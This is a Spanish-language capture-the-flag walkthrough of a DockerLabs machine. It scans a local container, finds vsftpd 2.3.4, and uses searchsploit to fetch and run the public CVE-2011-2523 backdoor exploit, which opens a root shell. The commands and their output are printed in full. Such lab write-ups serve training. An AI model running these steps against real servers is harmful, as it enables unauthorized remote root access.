

First Hacking - Hack FTP vuln

Accedemos a la ip y vemos que no tiene acceso web:

Unable to connect

An error occurred during a connection to 172.17.0.2.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the web.

Try Again

Paso 1 ping

Por lo que procedemos a reconocer la máquina con un ping

```
ping -c 1 172.17.0.2
```

Resultado:

```
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.  
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.066 ms  
  
— 172.17.0.2 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 0.066/0.066/0.066/0.000 ms
```

Podemos ver que es una máquina linux.

Paso 2

Hacemos un nmap para tener más información sobre esta máquina:

```
nmap -p- -sC -sV --min-rate 5000 -vvv --open -sS -n -Pn 172.17.0.2 -oN  
escaneo
```

Resultado:

PORT	STATE	SERVICE	REASON	VERSION
21/tcp	open	ftp	syn-ack ttl 64	vsftpd 2.3.4

Podemos ver que es un servicio FTP con una versión bastante vulnerable al ser antigua.

Paso 3

Buscamos la vulnerabilidad con `searchsploit`:

```
searchsploit vsftpd 2.3.4
```

Resultado:

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb
Shellcodes: No Results	

Podemos ver que tiene dos maneras de explotar esta máquina con metasploit o python.

Paso 4

Usamos python para este caso por lo que procedemos a guardar el script con este comando (el script esta en PATH):

```
searchsploit -m unix/remote/49757.py
```

Resultado:

```
Exploit: vsftpd 2.3.4 - Backdoor Command Execution
URL: https://www.exploit-db.com/exploits/49757
Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
Codes: CVE-2011-2523
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Desktop/DockersLabs/FirstHacking/49757.py
```

Ahora le cambiamos el nombre a uno mas reconocible:

```
mv 49757.py exploit.py
```

Listo ahora se llamará exploit.py

Paso 5

Ejecutamos el script pasándole el host:

```
python3 exploit.py 172.17.0.2
```

Resultado:

```
/home/kali/Desktop/DockersLabs/FIrstHack
from telnetlib import Telnet
Success, shell opened
Send `exit` to quit shell
whoami
root
cd / root
ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
pwd
/
```

Y listo ha sido vulnerada esta máquina!